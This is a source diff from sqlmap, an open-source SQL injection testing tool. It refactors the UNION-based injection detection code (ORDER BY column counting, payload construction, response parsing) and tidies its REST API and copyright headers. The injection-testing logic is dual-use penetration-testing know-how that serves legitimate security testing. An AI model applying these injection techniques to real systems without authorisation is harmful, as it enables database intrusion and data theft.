 See the file 'LICENSE' for copying permission
 """
 

lib/techniques/union/test.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -27,6 +27,7 @@ from lib.core.common import wasLastResponseDBMSError
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import PAYLOAD
 from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
@@ -48,15 +49,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
     """
     retVal = None
 
-    def _orderByTechnique():
+    @stackedmethod
+    def _orderByTechnique(lowerCount=None, upperCount=None):
         def _orderByTest(cols):
             query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
             query = agent.suffixQuery(query, suffix=suffix, comment=comment)
             payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
             page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
-            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
+            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
 
-        if _orderByTest(1) and not _orderByTest(randomInt()):
+        if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
             infoMsg = "'ORDER BY' technique appears to be usable. "
             infoMsg += "This should reduce the time needed "
             infoMsg += "to find the right number "
@@ -64,10 +66,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
             infoMsg += "range for current UNION query injection technique test"
             singleTimeLogMessage(infoMsg)
 
-            lowCols, highCols = 1, ORDER_BY_STEP
+            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
             found = None
             while not found:
-                if _orderByTest(highCols):
+                if not conf.uCols and _orderByTest(highCols):
                     lowCols = highCols
                     highCols += ORDER_BY_STEP
                 else:
@@ -88,8 +90,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
         kb.errorIsNone = False
         lowerCount, upperCount = conf.uColsStart, conf.uColsStop
 
-        if lowerCount == 1:
-            found = kb.orderByColumns or _orderByTechnique()
+        if lowerCount == 1 or conf.uCols:
+            found = kb.orderByColumns or (_orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique())
             if found:
                 kb.orderByColumns = found
                 infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
@@ -115,7 +117,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
 
         if not isNullValue(kb.uChar):
             for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
-                contains = [(count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items()]
+                contains = tuple((count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items())
                 if len(filter(lambda _: _[1], contains)) == 1:
                     retVal = filter(lambda _: _[1], contains)[0][0]
                     break
@@ -142,14 +144,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
 
             elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                     deviation = stdev(ratios)
-                    lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
 
-                    if min_ < lower:
-                        retVal = minItem[0]
+                    if deviation is not None:
+                        lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
 
-                    if max_ > upper:
-                        if retVal is None or abs(max_ - upper) > abs(min_ - lower):
-                            retVal = maxItem[0]
+                        if min_ < lower:
+                            retVal = minItem[0]
+
+                        if max_ > upper:
+                            if retVal is None or abs(max_ - upper) > abs(min_ - lower):
+                                retVal = maxItem[0]
     finally:
         kb.errorIsNone = popValue()
 
@@ -178,7 +182,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
         for position in positions:
             # Prepare expression with delimiters
             randQuery = randomStr(charCount)
-            phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop)
+            phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower()
             randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
             randQueryUnescaped = unescaper.escape(randQueryProcessed)
 
@@ -188,9 +192,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
 
             # Perform the request
             page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
-            content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
-                removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
-                payload, True) or "")
+            content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
 
             if content and phrase in content:
                 validPayload = payload
@@ -200,7 +202,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
                 if where == PAYLOAD.WHERE.ORIGINAL:
                     # Prepare expression with delimiters
                     randQuery2 = randomStr(charCount)
-                    phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
+                    phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower()
                     randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
                     randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)
 
@@ -210,7 +212,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
 
                     # Perform the request
                     page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
-                    content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
+                    content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
 
                     if not all(_ in content for _ in (phrase, phrase2)):
                         vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
@@ -223,9 +225,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
 
                         # Perform the request
                         page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
-                        content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
-                            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
-                            payload, True) or "")
+                        content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
                         if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
                             warnMsg = "output with limited number of rows detected. Switching to partial mode"
                             logger.warn(warnMsg)
@@ -277,7 +277,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
     if count:
         validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
 
-        if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]):
+        if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)):
             warnMsg = "if UNION based SQL injection is not detected, "
             warnMsg += "please consider "
 
@@ -298,7 +298,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
                     warnMsg += "forcing the "
                 warnMsg += "back-end DBMS (e.g. '--dbms=mysql') "
 
-            if not all([validPayload, vector]) and not warnMsg.endswith("consider "):
+            if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
                 singleTimeWarnMessage(warnMsg)
 
     return validPayload, vector

lib/techniques/union/use.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -44,6 +44,7 @@ from lib.core.data import logger
 from lib.core.data import queries
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
+from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapSyntaxException
@@ -89,11 +90,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
             # Parse the returned page to get the exact UNION-based
             # SQL injection output
             def _(regex):
-                return reduce(lambda x, y: x if x is not None else y, (\
-                        extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
-                        extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
-                        if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
-                        None)
+                return reduce(lambda x, y: x if x is not None else y, (extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), None)
 
             # Automatically patching last char trimming cases
             if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
@@ -236,13 +233,7 @@ def unionUse(expression, unpack=True, dump=False):
     # SQL limiting the query output one entry at a time
     # NOTE: we assume that only queries that get data from a table can
     # return multiple entries
-    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
-       kb.forcePartialUnion or \
-       (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
-       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
-       not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
-       and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
+    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
 
         if limitCond:
@@ -262,7 +253,7 @@ def unionUse(expression, unpack=True, dump=False):
                 else:
                     stopLimit = int(count)
 
-                    infoMsg = "the SQL query used returns "
+                    infoMsg = "used SQL query returns "
                     infoMsg += "%d entries" % stopLimit
                     logger.info(infoMsg)
 

lib/utils/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/utils/api.py

@@ -2,7 +2,7 @@
 # -*- coding: utf-8 -*-
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -45,7 +45,6 @@ from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
 from lib.core.settings import RESTAPI_DEFAULT_PORT
 from lib.core.subprocessng import Popen
 from lib.parse.cmdline import cmdLineParser
-from thirdparty.bottle.bottle import abort
 from thirdparty.bottle.bottle import error as return_error
 from thirdparty.bottle.bottle import get
 from thirdparty.bottle.bottle import hook
@@ -95,7 +94,7 @@ class Database(object):
                 else:
                     self.cursor.execute(statement)
             except sqlite3.OperationalError, ex:
-                if not "locked" in getSafeExString(ex):
+                if "locked" not in getSafeExString(ex):
                     raise
             else:
                 break
@@ -104,22 +103,11 @@ class Database(object):
             return self.cursor.fetchall()
 
     def init(self):
-        self.execute("CREATE TABLE logs("
-                  "id INTEGER PRIMARY KEY AUTOINCREMENT, "
-                  "taskid INTEGER, time TEXT, "
-                  "level TEXT, message TEXT"
-                  ")")
+        self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)")
 
-        self.execute("CREATE TABLE data("
-                  "id INTEGER PRIMARY KEY AUTOINCREMENT, "
-                  "taskid INTEGER, status INTEGER, "
-                  "content_type INTEGER, value TEXT"
-                  ")")
+        self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)")
 
-        self.execute("CREATE TABLE errors("
-                    "id INTEGER PRIMARY KEY AUTOINCREMENT, "
-                    "taskid INTEGER, error TEXT"
-                    ")")
+        self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)")
 
 class Task(object):
     def __init__(self, taskid, remote_addr):
@@ -278,7 +266,7 @@ def setRestAPILog():
             conf.databaseCursor = Database(conf.database)
             conf.databaseCursor.connect("client")
         except sqlite3.OperationalError, ex:
-            raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database)
+            raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database))
 
         # Set a logging handler that writes log messages to a IPC database
         logger.removeHandler(LOGGER_HANDLER)
@@ -861,7 +849,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
             return
 
         elif command in ("help", "?"):
-            msg =  "help           Show this help message\n"
+            msg = "help           Show this help message\n"
             msg += "new ARGS       Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
             msg += "use TASKID     Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
             msg += "data           Retrieve and show data for current task\n"

lib/utils/brute.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """